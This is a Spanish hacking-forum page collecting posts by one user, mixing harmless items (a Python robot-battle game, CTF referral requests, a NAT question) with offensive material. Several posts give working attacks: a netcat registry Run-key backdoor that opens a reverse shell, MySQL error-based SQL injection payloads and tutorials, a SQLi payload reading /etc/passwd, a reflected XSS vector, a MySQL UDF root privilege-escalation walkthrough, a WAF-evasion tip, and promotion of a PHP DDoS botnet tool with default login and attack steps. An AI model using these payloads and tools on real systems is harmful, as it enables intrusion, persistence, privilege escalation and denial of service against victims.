Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - q3rv0

#101
Off Topic / Contribuir con referrals para el ctf365
Noviembre 02, 2013, 06:26:18 PM
Armo este post para pedirles una mano con los referrals del ctf365, necesitamos como minimo 5 para acceder a la vpn del ctf, hemos registrado un team con el nombre de underc0de, solo tiene que seguir el siguiente enlace You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y registrarse en la web (el registro es corto y sencillo), simplemente le dan a la accion sign up, ingresan su mail, luego verifican que les haya llegado el mail para confirmar el acceso y por ultimo los va a llevar a una pagina de registro una vez que esten completamen registrados podran darnos  un referral siguiendo el siguiente link You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

desde ya muchas gracias a todos los que colaboren.

[Q]3rV[0]
#102
Dudas y pedidos generales / Re:Ayuda Con Sql Inyecion
Octubre 25, 2013, 08:45:14 PM
Para actualizar  la tabla jos_users a travez de una sqli teniendo privs de update primero que nada el server tendria que soportar Stacked Queries, de otra manera te quedaria la opcion de el reset de pass mediante el token como dice mi amigo hd_breaker.
#103
Lo que podes hacer si ya tenes acceso a la maquina remota es decargar netcat y agregar la siguiente entrada al registro de windows para que el binario se ejecute cada vez que la maquina se inicie

Código: dos
reg add HKLM\SOFTWARE\microsoft\windows\currentversion\run /v backdoor /d "/ruta/nc.exe -vv tuip puerto -e cmd.exe"


Reemplaza /ruta/nc.exe por el destino original donde se va a encontrar el netcat, asi mismo con "tuip" y "puerto" por los valores correspondientes, Luego te pones a escuchar para obtener la shell inversa.



#104
Va a ser un escenario divertido para quemar varias horas con los dedos!
#105
Python / Python Bots 1.0
Septiembre 16, 2013, 10:31:10 PM

Python Bots 1.0 es un juego de programacion en el cual deberemos crear desde 0 un bot utilizando el modulo gamefile del cual nos provee la aplicacion y lanzarlo a la batalla.

La API es muy sencilla de usar asi que paso a mostrarles algunas funciones que pueden usar para comenzar a construir sus propias maquinas.

Primero y antes que nada a descargar el juego.

DESCARGA: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

El bot requiere de la creacion de las siguientes funciones:

Código: python
name()

startDirection()  #Opcional

color()

commands()

target_spotted(direction)




name() debera retornar el nombre de nuestro bot:



Código: python
def name():
    return "[Q]3rV[0]"



color() obviamente nos pinta la carroceria

el formato va de la siguiente manera (0,0,0) al (255,255,255)

Como yo lo quiero negro



Código: python
def color():
    return (0,0,0)



startDirection() es opcional y podremos indicarle en que posicion se encuntre le robot cuando el juego inicie.



Código: python
def startDirection():
    return 90



commands() Sobre esta funcion se definiran las acciones que realizara nuestro robot.



Código: python
gamefile.robotHealth() #Retorna el valor de la salud del robot entre 1-82
gamefile.move(frames) #Se movera determinada cantidad de cuadros
gamefile.stop(frames) #Se parara cada tantos frames
gamefile.fire() #Para realizar disparos
gamefile.turn_left(grados) #Para girar tantos grados a la izquierda
gamefile.turn_right(grados) #Para girar tantos grados a la derecha
gamefile.done() #Este metodo es necesario ya que indica el final de bucle para que las demas acciones puedan seguir repitiendose.
gamefile.spinradar(direction) #Seteamos la direccion en la que girara el radar "RIGHT" o "LEFT"
gamefile.lockradar(TEXT) #Podemos especificar 3 opciones ("GUN" "FREE" "BASE")




target_spotted(direction)

Con esta funcion manejaremos el radar de nuestro tanquesito. Cuando un blanco es detectado por este, la funcion es llamada.

gamefile.pointgun(direction)



Código: python
def target_spotted(direction):
    gamefile.pointgun(direction)




Para culminar les dejo el motor de un bot que arme, junto con un video de muestra.


Código: python
import gamefile

def name():
    return "[Q]3rV[0]"

def colour():
    return (0, 0, 0)

def commands():
    gamefile.spinradar("FREE")
    gamefile.lockradar("FREE")
    gamefile.move(200)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.move(300)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.done()
    if gamefile.robotHealth() < 41:
        gamefile.move(200)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.move(300)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.done()

def target_spotted(direction):
        gamefile.pointgun((direction)*1.4)
        gamefile.fire()
        gamefile.fire()
        gamefile.fire()



#106
Off Topic / Re:Feliz cumpleaños [Q]3rv[0]!!
Septiembre 12, 2013, 12:24:59 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muchas felicidades Cuervo! gracias por estar en Underc0de y apoyar a su crecimiento!
Espero que pases un muy buen dia y que tus metas se cumplan!

Saludos!
ANTRAX

Gracias loquillo!
#107
Me gusta tu idea de movilizar el foro con este reto, pero de antemano habias dicho que el staff no se hiba a incluir, si vas a hacer una excepcion que sea para todos (a mi no me interesa participar) simplemente lo digo por que lo veo como una manera de descalificar a los demas integrantes del staff que esten interesados en formar parte del wargame.
#108
Muy bueno...solo queria aclarar que desp del /*! puede ser precedido cualquier numero de 5 cifras desde el 00000 al 49999 para evadir el waf.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login#
#109
Bugs y Exploits / Re:MYSQLI EB con extractvalue()
Julio 27, 2013, 04:59:16 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P

Actualizado!

Gracias bro por la info
#110
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código: xml
<b>q3rv0</b>


Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código: mysql
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>


La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código: mysql

mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'


Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código: mysql

mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'


Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login union select extractvalue(1, concat(0x7e, version()))--







Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código: xml
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>


La sintaxis de updatexml() es la siguiente:

Código: mysql
updatexml('cadena', 'xpath_expr', 'cadena actualizada')


Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código: mysql
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>


Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código: mysql

mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql>


Concatenamos y obtenemos el resultado completo.

Código: mysql
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql>






Referencia: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#111
No es necesario que un parametro trabaje con valores tipo "string" para incluir ficheros localmente, hay ciertos parametros que trabajan con funciones como include(), require(), etc pero lo hacen por medio de un valor entero,por ejemplo:

Tenemos la siguiente url:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

La cual se encarga de mostrar cierto contenido dependiendo del valor que sea ingresado en el "id".En este caso el script realiza una sentencia en la base de datos para obtener el nombre del fichero, el cual luego sera pasado a include().
Código: php

$query=mysqli_query($conexion, "SELECT path FROM archivos WHERE id=".$_GET['id'].";");
$fichero=mysqli_fetch_array($query, MYSQLI_ASSOC);
include($fichero['path']);


Ahora vamos a un caso real.

La vulnerabilidad se da del lado del admin, al ingresar una comilla simple vemos el siguiente error.



El problema es que no podemos realizar un path traversal directamente por lo que se explicaba en lineas anteriores, pero si podriamos comprobar si el mismo parametro es vulnerable a inyeccion de comandos SQL.



Definitivamente si, y nos arroja la columna 3 la cual hace referencia a la seleccion de la ruta del archivo.

Entonces podriamos probar a inyecctar una sentencia para poder divisar cualquier fichero (siempre dentro de los limites) a nuestro antojo.

Veamos el fichero /etc/passwd.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login union select 1,2,0x2f6574632f706173737764,4,5--



Como dije anteriormente este parametro vulnerable se encuentra detras del panel de administracion, pero hay muchas veces en las que la reglas de un upload no pueden ser evadidas y hay que buscar otra manera de subir una shell, tranquilamente se podria explotar mediante una jpg file inclusion y proseguir con la intrusion.
#112
Hacking ShowOff / XSS speedy
Julio 14, 2013, 01:25:08 PM


Path vuln= You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginXSS-reflected

Vector= </script><script>alert(String.fromCharCode(91, 81, 93, 51, 114, 86, 91, 48, 93))</script>

Reportado=SI (hace un mes)
#113
Se que hay mas de un tutorial en el foro en el que se habla sobre como explotar este tipo de inyeccion, pero realmente no se ahonda en detalles. Simplemente se limitan a explicar de que trata el error "duplicate entry" y que es lo que hace el floor(rand()*2), posteriormente muestran la sentencias diciendo "pegue aqui", como de "memoria", hace bastante habia escrito uno, pero tambien habia dejado muchas cosas colgadas, la verdad que no pude encontrar
tutoriales en hispano que hagan un serio repaso de esta tecnica y disipen hasta la mas diminuta duda, no estoy diciendo que no hayan y bien explicados como el que escribio alguien You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, pero siempre quedan cositas en el tintero.

Comenzemos desde lo basico, explicando por que un script vulnerable debe exlpotarse de la siguiente manera

El siguiente script es vulnerable a sql injection.

Código: php
<?php
include("conex.php");
$id=$_GET['id'];
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";
$query=mysql_query($consulta, $conexion);
$query2=mysql_query($consulta2, $conexion);
$dumpeo2=mysql_fetch_array($query2);
$dumpeo=mysql_fetch_array($query);
if (isset($_GET['id'])) {
    if (!$dumpeo) {
        echo mysql_error();
}
    elseif (!$dumpeo2) {
        echo mysql_error();
}
    else {
        echo "<b>Nick: ".$dumpeo['username']."</b><p>";
        echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
}
}
?>



Como podemos ver al buscar la cantidad de columnas que esta seleccionando la consulta nos responde con el siguiente mensaje.



Esto se debe a que el parametro id esta siendo usado en dos consultas diferentes seleccionando ambas distinto numero de columnas

Código: php
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";


Por lo tanto nunca vamos a dar con la cantidad justa, es por eso que hay que recurrir a otro metodo.


La siguiente consulta devela a travez del error de "entrada duplicada", el usuario que corre en la base de datos.


Código: text
http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--





Pero que es una entrada dulpicada, por que se produce?

Miremos el siguiente error:

Duplicate entry 'root@localhost0' for key 'group_key'

Nos centraremos en group_key o llave de grupo, el error se debe a que se hayo un mismo valor en la llave de grupo.

Antes que nada entendamos el termino de subquery.

Las subconsultas nos permiten optimizar tareas en la base de datos, un ejemplo sencillo, supongamos que queremos seleccionar campos de dos tablas distintas, por un lado tenemos la tabla users y por otro la tabla blogs, para obtener los datos en una sola sentencias seria de la siguiente manera:

Obviamente son usadas para realizar tareas mas elavoradas, como comparaciones entre distintos datos, etc

Código: mysql
mysql> select username,(select blog from blogs limit 0,1)blog from users limit 0,1;
+----------+-------------------------+
| username | blog                    |
+----------+-------------------------+
| q3rv0    | http://underterminal.tk |
+----------+-------------------------+
1 row in set (0.00 sec)



Pero esto es para que se entienda el concepto de subquery.

Llamemos al vector para volverlo a analizar

Código: mysql

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--



Para lograr un mayor entendimiento y comprencion hay que ir hasta el zotano, por eso vamos a realizar analisis desde la propia db.


Les propongo que dividamos la doble consulta, y expongamos la primera.


Código: mysql
select count(*) from information_schema.tables group by concat(user(),floor(rand()*2)) limit 0,1;



Por logica quedaria asi, por que?

Primero explicare un par de conceptos.

floor(rand()*2) : generara dos resultados "0" o "1" de manera aleatoria porque?.

Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)


la funcion rand() nos generara un valor aleatorio entre 0 y 0.xxxxxx

Código: mysql
mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8679424085355759 |
+--------------------+
1 row in set (0.00 sec)


Si multiplicamos por  2 esos valores generara un resultado diferente, esta vez entre 0 y 1.xxxx

Código: mysql
mysql> select rand()*2;
+-------------------+
| rand()*2          |
+-------------------+
| 0.947171253102991 |
+-------------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select rand()*2;
+--------------------+
| rand()*2           |
+--------------------+
| 1.5282018757687899 |
+--------------------+
1 row in set (0.00 sec)


floor() toma un numero flotante y lo presenta como entero, es decir si le pasamos el siguiente numero generado por rand().
Código: mysql

mysql> select floor(1.5282018757687899);
+---------------------------+
| floor(1.5282018757687899) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)


Da como resultado 1

Código: mysql
mysql> select floor(0.947171253102991);
+--------------------------+
| floor(0.947171253102991) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)


Da como resultado 0

La magia del floor(rand()*2) no se basa en que de como resultado unicamente 1 o 0, se basa en que nos provea de dos resultados diferentes y que se repitan si es posible, daria lo mismo que diera 4 o 5.


Ahora extraeremos una parte del primer vector para realizar otro analisis

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--


Esa x al final de la subconsulta, bien podria ser cualquier letra como p,c,f,c actua como puntero del resultado de esa sentencia
y es usado por "group by" para agrupar la salida segun el resultado:


Código: mysql
mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-11 |
+-----------+
1 row in set (0.00 sec)


Código: mysql
mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-10 |
+-----------+
1 row in set (0.00 sec)


Entonces seria los mismo realizarla asi.

Código: mysql
mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'


Pero si intentamos tirar este vector por el parametro "id" seguiremos obteniendo el mensaje "The used SELECT statements have a different number of columns" ya que requerimos de dos consultas por que el id hace referencia a ese numero como ya lo vimos en el codigo del script.

Bien hasta esta linea ya hemos entendido varios puntos claves en el funcionamiento del vector y vamos comprendiendo paso a paso el porque...

Segun las pruebas floor(rand()*2) genera dos valores aleatorios "0" o "1" group by aprovecha ese dato para realizar la agrupacion, el cual es fundamental ya que utilizaremos el error de entrada duplicada de la group_key para obtener la informacion.
Sabemos hasta ahora que al repetirse los valores generados por floor(rand()*2) se produce el "duplicate entry" en la group_key, por lo tanto nos tirar el valor que se duplica.

Si lo hicieramos sin user() obtendriamos.
Código: mysql

mysql> select count(*) from information_schema.tables group by floor(rand()*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'


Pero para obtener el nombre de usuario, la funcion user() se concatena con floor(rand()*2) para que sea disparado como valor duplicado, hay es donde toma protagonismo la subquery!.

Ejecutemos ahora el vector completo.

Código: mysql
mysql> select count(*),concat(user(),floor(rand()*2))z from information_schema.tables group by z;
+----------+-----------------+
| count(*) | z               |
+----------+-----------------+
|      123 | root@localhost0 | -> floor(rand()*2)=0
|       75 | root@localhost1 | -> floor(rand()*2)=1
+----------+-----------------+
2 rows in set (0.00 sec)


Vemos que cuando no tira el error, ordena en dos grupos la cantidad de registros en la tabla (tables) obtenidos por count(*), si la tabla tuviera un solo registro seria imposible reproducir la entrada duplicada, se podria usar cualquier otra tabla ademas de tables.

Y una vez que el valor del orden del grupo se repite, BAM!



Espero que se haya comprendido, esta fue la manera mediante la cual logre asimilarlo realmente, realizando analisis en el mismo servidor, cualquier consulta, duda o error comenten! saludos!
#114
Una linda manera de elevar privilegios en un sistema comprometido es aprovechando los permisos con los que corren ciertos demonios en el sistema como el servidor mysql.
Hay dos formas de añadir funciones a Mysql y una de ellas es a travez de la interface UDF (funciones definidas por el usuario) para esto habra que contar con la libreria necesaria apartir de la cual seran llamadas. Teniendo los privilegios necesarios podremos crear ciertas funciones como sys_eval() la cual nos permitiran ejecutar comandos como usuario root desde la propia db.

Ante todo debemos asegurarnos de que la base de datos corre con superprivilegios, miremos el fichero de configuracion en /etc/mysql/my.cnf


Código: text
# * Basic Settings
#
user = root
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
language = /usr/share/mysql/english



Descargamos la libreria lib_mysqludf_sys.so dentro del directorio /tmp

Código: bash
wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so


Conectamos con las credenciales obtenidas a la base de datos

Código: bash
mysql -u "user" -p"password" database


Creamos la table code

Código: mysql
CREATE TABLE code (codigo blob);


Presten atencion al tipo de campo "blob" este sirve para almacenar datos binarios entre otros, esto hara que al momento de volcar el fichero no se produzca un cambio de ciertos caracteres que puedan llegar a generar un error cuando la libreria sea llamada.

Insertaremos la libreria en la tabla code

Código: mysql
INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));


Dumpeamos los datos en /usr/lib/mysql/plugin/ que es el directorio desde donde el servidor cargara las librerias.

Código: mysql
SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';


Por ultimo creamos la funcion sys_eval()


Código: mysql
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';



Llamamos a  dicha funcion


Código: mysql
select sys_eval('id');
+-----------------------------------------+
| sys_eval('id')                          |
+-----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root)
|
+-----------------------------------------+




Les dejo un video demostrativo que realize en un entorno controlado



#115
Las llaves estan bien en caso de que hubiera cerrado una sin antes abrirla me hubiese dado error, y con el tema del bypass del panel te la mandaste los scripts estan bien protegidos por session asi que me gustaria que me muestres la manera de evadir la auth saludos!
#116
La botnet dossea ya la testee contra un par de servers! 
#117
La tool fue actualizada debido a problemas tecnicos  :P disculpen los contratiempos, vuelvan a descargarla saludos!
#118
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
siendo cortes , no me gusta , esta buena todo re lindo pero no tira ni una galletita al piso ,, hice 10 zombies y no tiraba ni una pc con 1 mega , fue frustrante jajaja falla como escopeta de feria americana..

Vas a necesitar mas de 10 bots para bajar un server, lo probaste en local o usaste 10 servers zombies??
#119
La Raven Botnet es una sencilla herramienta para realizar ataques DDOS utilizando nada mas y nada menos que servidores zombies.

El ataque se basa en una inundacion de paquetes UDP enviados a puertos aleatorios  que consumen la memoria al igual que el ancho de banda del objetivo.


El bot se encuentra programado en php y una vez extraida la tool, puede ser encontrado con el nombre de "raven.php".

El mismo debera ser alojado en el host que se desea utilizar para realizar el ataque.

Una vez montada (instrucciones en el video de abajo) nos loguearemos con los siguientes datos por defecto.


User: q3rv0

Pass: ravenbot






Al momento de agregar los bots en el panel, solo tendremos que respetar el siguiente formato.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Ejmplo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

sin olvidar el www.








Posteriormente rellenar los campos que seran utilizados para enviar las instrucciones de ataque a nuestros bots (target, tiempo que durara el ataque medido en segundos).

Por ultimo le damos a ATTACK! y la botnet comenzara a hacer su trabajo.

La tool puede ser descargada desde aqui You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#120
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
tengo un centos con proxy(squid)  que administrar mi red interna ya he buscado mucho en internet  y solo encuentro como con el squid permitir que mis pc tenga internet denegarle pagina y denegarle internet a cierta hora pero no puedo hacer que un pc de mi red interna pueda ver  un servidor de otra red con una ip de 192.168.1.2 ¿como hago para que estos dos equipos puedan verse? ......

la ip 192.168.1.2 pertenece a un rango de direcciones privadas de clase C, no vas a poder conectarte directamente a esa direccion ya que el pc se encuentra detras de una red NAT, lo que podrias hacer para acceder es realizar un portfoward desde el router (si tenes acceso) para redfireccionar el trafico hacia el puerto 80 del server 192.168.1.2.